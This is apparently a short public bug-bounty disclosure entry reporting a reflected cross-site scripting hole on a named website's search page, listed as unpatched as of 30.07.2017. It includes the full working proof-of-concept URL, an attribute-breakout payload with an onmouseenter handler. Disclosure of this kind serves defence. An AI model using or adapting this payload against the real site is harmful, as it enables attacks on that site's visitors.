dennis-carpenter.com XSS vulnerability

Vulnerable URL: http://dennis-carpenter.com/searchnew.aspx?keyword=bumper%27" /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...